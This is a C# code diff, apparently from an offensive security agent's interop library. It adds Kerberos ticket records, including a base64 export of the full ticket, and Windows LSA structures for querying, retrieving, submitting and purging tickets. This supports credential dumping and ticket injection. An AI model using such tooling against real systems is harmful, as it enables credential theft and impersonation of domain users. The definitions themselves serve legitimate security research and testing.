+    public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
+    public DateTime RenewTime { get; private set; }
+    
+    public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
+    public KerbEncType EncryptionType { get; private set; }
+    public KerbTicketFlags TicketFlags { get; private set; }
+    public string base64Ticket { get; private set; }
+    
+    
+    private KerberosTicketDataDTO() { }
+    
+    public static KerberosTicketDataDTO CreateFromKerberosTicket(KerberosTicket ticket, string luid = "0x0")
+    {
+        return new KerberosTicketDataDTO
+        {
+            Luid = ticket.Luid.ToString() is "0x0" ?  luid : ticket.Luid.ToString(),
+            ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}",
+            ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}",
+            StartTime = ticket.StartTime,
+            EndTime = ticket.EndTime,
+            RenewTime = ticket.RenewTime,
+            EncryptionType = ticket.EncryptionType,
+            TicketFlags = ticket.TicketFlags,
+            base64Ticket = Convert.ToBase64String(ticket.Kirbi)
+        };
+    }
+}
@@ -0,0 +1,68 @@
+using System;
+using System.Runtime.Serialization;
+
+namespace ApolloInterop.Features.KerberosTickets;
+[DataContract]
+public record KerberosTicketInfoDTO
+{
+    [DataMember(Name = "luid")]
+    public string Luid { get; private set; }
+    [DataMember(Name = "current_luid")]
+    public string CurrentLuid {get; set; }
+    [DataMember(Name = "client_name")]
+    public string ClientName { get; private set; }
+    [DataMember(Name = "client_realm")]
+    public string ClientDomain { get; private set; }
+
+    public string ClientFullName => $"{ClientName}@{ClientDomain}";
+    [DataMember(Name = "service_name")]
+    public string ServiceName { get; private set; }
+    [DataMember(Name = "service_realm")]
+    public string ServiceDomain { get; private set; }
+
+    public string ServiceFullName => $"{ServiceName}@{ServiceDomain}";
+    [DataMember(Name = "start_time")]
+    public string StartTimeDisplay { get; private set; }
+    public DateTime StartTime { get; private set; }
+    [DataMember(Name = "end_time")]
+    public string EndTimeDisplay { get; private set; }
+    public DateTime EndTime { get; private set; }
+
+    public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
+    [DataMember(Name = "renew_time")]
+    public string RenewTimeDisplay { get; private set; }
+    public DateTime RenewTime { get; private set; }
+
+    public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
+    [DataMember(Name = "encryption_type")]
+    public string EncryptionTypeDisplay { get; private set; }
+    public KerbEncType EncryptionType { get; private set; }
+    [DataMember(Name = "ticket_flags")]
+    public string TicketFlagsDisplay { get; private set; }
+    public KerbTicketFlags TicketFlags { get; private set; }
+
+
+    private KerberosTicketInfoDTO() { }
+
+    public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket ticket)
+    {
+        return new KerberosTicketInfoDTO
+        {
+            Luid = ticket.Luid.ToString(),
+            ClientName = ticket.ClientName,
+            ClientDomain = ticket.ClientRealm,
+            ServiceName = ticket.ServerName,
+            ServiceDomain = ticket.ServerRealm,
+            StartTime = ticket.StartTime,
+            StartTimeDisplay = ticket.StartTime.ToString(),
+            EndTime = ticket.EndTime,
+            EndTimeDisplay = ticket.EndTime.ToString(),
+            RenewTime = ticket.RenewTime,
+            RenewTimeDisplay = ticket.RenewTime.ToString(),
+            EncryptionType = ticket.EncryptionType,
+            EncryptionTypeDisplay = ticket.EncryptionType.ToString(),
+            TicketFlags = ticket.TicketFlags,
+            TicketFlagsDisplay = ticket.TicketFlags.ToString(),
+        };
+    }
+}
@@ -0,0 +1,55 @@
+using System;
+using System.Runtime.Serialization;
+
+namespace ApolloInterop.Features.KerberosTickets;
+
+//for the moment this is the same as the KerberosTicketDataDTO, but it will be used for the store so more / different fileds may be added that are unique to the store
+[DataContract]
+public record KerberosTicketStoreDTO
+{
+    [DataMember(Name = "luid")]
+    public string Luid { get; private set; }
+    [DataMember(Name = "client_fullname")]
+    public string ClientFullName { get; private set; }
+    [DataMember(Name = "service_fullname")]
+    public string ServiceFullName { get; private set; }
+    [DataMember(Name = "start_time")]
+    public string StartTimeDisplay { get; private set; }
+    public DateTime StartTime;
+    [DataMember(Name = "end_time")]
+    public string EndTimeDisplay { get; private set; }
+    public DateTime EndTime;
+    public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
+    [DataMember(Name = "renew_time")]
+    public string RenewTimeDisplay { get; private set; }
+    public DateTime RenewTime;
+    public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
+    public KerbEncType EncryptionType;
+    [DataMember(Name = "encryption_type")]
+    public string EncryptionTypeDisplay { get; private set; }
+    [DataMember(Name = "ticket_flags")]
+    public string TicketFlagsDisplay { get; private set; }
+    public KerbTicketFlags TicketFlags;
+    [DataMember(Name = "ticket")]
+    public string base64Ticket { get; private set; }
+
+
+    public KerberosTicketStoreDTO(KerberosTicket ticket)
+    {
+        Luid = ticket.Luid.ToString();
+        ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}";
+        ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}";
+        StartTime = ticket.StartTime;
+        StartTimeDisplay = StartTime.ToString();
+        EndTime = ticket.EndTime;
+        EndTimeDisplay = EndTime.ToString();
+        RenewTime = ticket.RenewTime;
+        RenewTimeDisplay = RenewTime.ToString();
+        EncryptionType = ticket.EncryptionType;
+        EncryptionTypeDisplay = ticket.EncryptionType.ToString();
+        TicketFlags = ticket.TicketFlags;
+        TicketFlagsDisplay = ticket.TicketFlags.ToString();
+        base64Ticket = Convert.ToBase64String(ticket.Kirbi);
+    }
+    
+}
@@ -0,0 +1,307 @@
+using System;
+using System.Runtime.InteropServices;
+using System.Security.Principal;
+using ApolloInterop.Enums;
+using ApolloInterop.Features.WindowsTypesAndAPIs;
+using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
+using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
+using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
+using System.Runtime.Serialization;
+
+namespace ApolloInterop.Features.KerberosTickets;
+
+public record struct LogonSessionData
+{
+    public LUID LogonId;
+    public string Username;
+    public string LogonDomain;
+    public string AuthenticationPackage;
+    public Win32.LogonType LogonType;
+    public int Session;
+    public SecurityIdentifier Sid;
+    public DateTime LogonTime;
+    public string LogonServer;
+    public string DnsDomainName;
+    public string Upn;
+}
+
+/// <summary>
+/// Record type to represent a Kerberos ticket.
+/// </summary>
+[DataContract]
+public record KerberosTicket
+{
+    [DataMember(Name = "luid")]
+    public LUID Luid { get; set; }
+    public string LogonId => Luid.ToString();
+    [DataMember(Name = "ClientName")]
+    public string ClientName { get; set; }
+    [DataMember(Name = "ClientRealm")]
+    public string ClientRealm { get; set; }
+    public string ClientFullName => $"{ClientName}@{ClientRealm}";
+    [DataMember(Name = "ServerName")]
+    public string ServerName { get; set; }
+    [DataMember(Name = "ServerRealm")]
+    public string ServerRealm { get; set; }
+    public string ServerFullName => $"{ServerName}@{ServerRealm}";
+    [DataMember(Name = "StartTime")]
+    public DateTime StartTime { get; set; }
+    [DataMember(Name = "EndTime")]
+    public DateTime EndTime { get; set; }
+    [DataMember(Name = "RenewTime")]
+    public DateTime RenewTime { get; set; }
+    [DataMember(Name = "EncryptionType")]
+    public KerbEncType EncryptionType { get; set; }
+    [DataMember(Name = "TicketFlags")]
+    public KerbTicketFlags TicketFlags { get; set; }
+    public byte[] Kirbi { get; set; } = [];
+}
+
+
+
+public record struct KERB_QUERY_TKT_CACHE_RESPONSE
+{
+    public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+    public uint CountOfTickets;
+    public HANDLE<KERB_TICKET_CACHE_INFO_EX> Tickets;   // seems this starts at a memory address which is one IntPrt size away from the start of the struct
+}
+
+public record struct KERB_QUERY_TKT_CACHE_REQUEST
+{
+    public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+    public LUID LogonId;
+}
+
+
+public record struct KERB_RETRIEVE_TKT_REQUEST
+{
+    public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+    public LUID LogonId;
+    public UNICODE_STRING TargetName;
+    public uint TicketFlags;
+    public KerbCacheOptions CacheOptions;
+    public KERB_CRYPTO_KEY_TYPE EncryptionType;
+    public SecHandle CredentialsHandle;
+}
+
+
+
+public struct KERB_RETRIEVE_TKT_RESPONSE
+{
+    public KERB_EXTERNAL_TICKET Ticket;
+}
+
+
+public struct KERB_SUBMIT_TKT_REQUEST
+{
+    public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+    public LUID LogonId;
+    public int Flags;
+    public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
+    public int KerbCredSize;
+    public int KerbCredOffset;
+}
+
+
+
+[StructLayout(LayoutKind.Sequential)]
+public record struct KERB_PURGE_TKT_CACHE_REQUEST
+{
+    public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+    public LUID LogonId;
+    public UNICODE_STRING  ServerName;
+    public UNICODE_STRING  RealmName;
+}
+
+public record struct KERB_TICKET_CACHE_INFO_EX
+{
+    public LSA_OUT_STRING ClientName;
+    public LSA_OUT_STRING ClientRealm;
+    public LSA_OUT_STRING ServerName;
+    public LSA_OUT_STRING ServerRealm;
+    public long StartTime;
+    public long EndTime;
+    public long RenewTime;
+    public int EncryptionType;
+    public uint TicketFlags;
+}
+
+public struct KERB_EXTERNAL_TICKET
+{
+    public HANDLE<KERB_EXTERNAL_NAME> ServiceName;
+    public HANDLE<KERB_EXTERNAL_NAME> TargetName;
+    public HANDLE<KERB_EXTERNAL_NAME> ClientName;
+    public UNICODE_STRING DomainName;
+    public UNICODE_STRING TargetDomainName;
+    public UNICODE_STRING AltTargetDomainName;
+    public KERB_CRYPTO_KEY SessionKey;
+    public KerbTicketFlags TicketFlags;
+    public uint Flags;
+    public long KeyExpirationTime;
+    public long StartTime;
+    public long EndTime;
+    public long RenewUntil;
+    public long TimeSkew;
+    public uint EncodedTicketSize;
+    public HANDLE<UCHAR> EncodedTicket;
+}
+
+public struct KERB_EXTERNAL_NAME
+{
+    public short NameType;
+    public ushort NameCount;
+    public UNICODE_STRING Names;
+}
+
+public struct KERB_CRYPTO_KEY
+{
+    public KERB_CRYPTO_KEY_TYPE KeyType;
+    public uint Length;
+    public HANDLE<UCHAR> Value;
+}
+
+public struct KERB_CRYPTO_KEY32
+{
+    public int KeyType;
+    public int Length;
+    public int Offset;
+}
+
+public struct SecHandle
+{
+    public nuint dwLower;
+    public nuint dwUpper;
+}
+
+public struct KERB_INTERACTIVE_LOGON 
+{
+    public KERB_LOGON_SUBMIT_TYPE LogonType;
+    public UNICODE_STRING         LogonDomainName;
+    public UNICODE_STRING         UserName;
+    public UNICODE_STRING         Password;
+}
+
+public enum KERB_CRYPTO_KEY_TYPE
+{
+    KERB_ETYPE_DES_CBC_CRC = 1,
+    KERB_ETYPE_DES_CBC_MD4 = 2,
+    KERB_ETYPE_DES_CBC_MD5 = 3,
+    KERB_ETYPE_NULL = 0,
+    KERB_ETYPE_RC4_HMAC_NT = 23,
+    KERB_ETYPE_RC4_MD4 = -128,
+}
+
+[Flags]
+public enum KerbTicketFlags : uint
+{
+    Forwardable = 0x40000000,
+    Forwarded = 0x20000000,
+    HwAuthent = 0x00100000,
+    Initial = 0x00400000,
+    Invalid = 0x01000000,
+    MayPostDate = 0x04000000,
+    OkAsDelegate = 0x00040000,
+    PostDated = 0x02000000,
+    PreAuthent = 0x00200000,
+    Proxiable = 0x10000000,
+    Proxy = 0x08000000,
+    Renewable = 0x00800000,
+    Reserved = 0x80000000,
+    Reserved1 = 0x00000001,
+    NameCanonicalize = 0x10000
+}
+
+public enum KERB_PROTOCOL_MESSAGE_TYPE
+{
+    KerbDebugRequestMessage = 0,
+    KerbQueryTicketCacheMessage = 1,
+    KerbChangeMachinePasswordMessage = 2,
+    KerbVerifyPacMessage = 3,
+    KerbRetrieveTicketMessage = 4,
+    KerbUpdateAddressesMessage = 5,
+    KerbPurgeTicketCacheMessage = 6,
+    KerbChangePasswordMessage = 7,
+    KerbRetrieveEncodedTicketMessage = 8,
+    KerbDecryptDataMessage = 9,
+    KerbAddBindingCacheEntryMessage = 10,
+    KerbSetPasswordMessage = 11,
+    KerbSetPasswordExMessage = 12,
+    KerbVerifyCredentialsMessage = 13,
+    KerbQueryTicketCacheExMessage = 14,
+    KerbPurgeTicketCacheExMessage = 15,
+    KerbRefreshSmartcardCredentialsMessage = 16,
+    KerbAddExtraCredentialsMessage = 17,
+    KerbQuerySupplementalCredentialsMessage = 18,
+    KerbTransferCredentialsMessage = 19,
+    KerbQueryTicketCacheEx2Message = 20,
+    KerbSubmitTicketMessage = 21,
+    KerbAddExtraCredentialsExMessage = 22,
+    KerbQueryKdcProxyCacheMessage = 23,
+    KerbPurgeKdcProxyCacheMessage = 24,
+    KerbQueryTicketCacheEx3Message = 25,
+    KerbCleanupMachinePkinitCredsMessage = 26,
+    KerbAddBindingCacheEntryExMessage = 27,
+    KerbQueryBindingCacheMessage = 28,
+    KerbPurgeBindingCacheMessage = 29,
+    KerbPinKdcMessage = 30,
+    KerbUnpinAllKdcsMessage = 31,
+    KerbQueryDomainExtendedPoliciesMessage = 32,
+    KerbQueryS4U2ProxyCacheMessage = 33,
+    KerbRetrieveKeyTabMessage = 34,
+    KerbRefreshPolicyMessage = 35,
+    KerbPrintCloudKerberosDebugMessage = 36,
+}
+
+public enum KERB_LOGON_SUBMIT_TYPE 
+{
+    KerbInteractiveLogon = 2,
+    KerbSmartCardLogon = 6,
+    KerbWorkstationUnlockLogon = 7,
+    KerbSmartCardUnlockLogon = 8,
+    KerbProxyLogon = 9,
+    KerbTicketLogon = 10,
+    KerbTicketUnlockLogon = 11,
+    KerbS4ULogon = 12,
+    KerbCertificateLogon = 13,
+    KerbCertificateS4ULogon = 14,
+    KerbCertificateUnlockLogon = 15,
+    KerbNoElevationLogon = 83,
+    KerbLuidLogon = 84
+}
+
+public enum KerbEncType
+{
+    des_cbc_crc = 1,
+    des_cbc_md4 = 2,
+    des_cbc_md5 = 3,
+    des3_cbc_md5 = 5,
+    des3_cbc_sha1 = 7,
+    dsaWithSHA1_CmsOID = 9,
+    md5WithRSAEncryption_CmsOID = 10,
+    sha1WithRSAEncryption_CmsOID = 11,
+    rc2CBC_EnvOID = 12,
+    rsaEncryption_EnvOID = 13,
+    rsaES_OAEP_ENV_OID = 14,
+    des_ede3_cbc_Env_OID = 15,
+    des3_cbc_sha1_kd = 16,
+    aes128_cts_hmac_sha1 = 17,
+    aes256_cts_hmac_sha1 = 18,
+    rc4_hmac = 23,
+    rc4_hmac_exp = 24,
+    subkey_keymaterial = 65,
+    old_exp = -135
+}
+
+[Flags]
+public enum KerbCacheOptions : uint
+{
+    KERB_RETRIEVE_TICKET_DEFAULT = 0U,
+    KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 1U,
+    KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 2U, 
+    KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 4U,
+    KERB_RETRIEVE_TICKET_AS_KERB_CRED = 8U,
+    KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 16U,
+    KERB_RETRIEVE_TICKET_CACHE_TICKET = 32U,
+    KERB_RETRIEVE_TICKET_MAX_LIFETIME = 64U
+}
+
@@ -0,0 +1,30 @@
+using System;
+
+namespace ApolloInterop.Features.WindowsTypesAndAPIs;
+
+public static class APIInteropExt
+{
+    public static APIInteropTypes.HANDLE<T> Increment<T>(this APIInteropTypes.HANDLE<T> handle) where T : notnull
+    {
+        IntPtr updatedHandleAddress =  (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
+        return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
+    }
+    
+    public static APIInteropTypes.HANDLE Increment(this APIInteropTypes.HANDLE handle)
+    {
+        IntPtr updatedHandleAddress =  (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
+        return new APIInteropTypes.HANDLE(updatedHandleAddress);
+    }
+    
+    public static APIInteropTypes.HANDLE<T> IncrementBy<T>(this APIInteropTypes.HANDLE<T> handle, int increment) where T : notnull
+    {
+        IntPtr updatedHandleAddress =  (IntPtr)(handle.PtrLocation.ToInt64() + increment);
+        return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
+    }
+    
+    public static APIInteropTypes.HANDLE IncrementBy(this APIInteropTypes.HANDLE handle, int increment)
+    {
+        IntPtr updatedHandleAddress =  (IntPtr)(handle.PtrLocation.ToInt64() + increment);
+        return new APIInteropTypes.HANDLE(updatedHandleAddress);
+    }
+}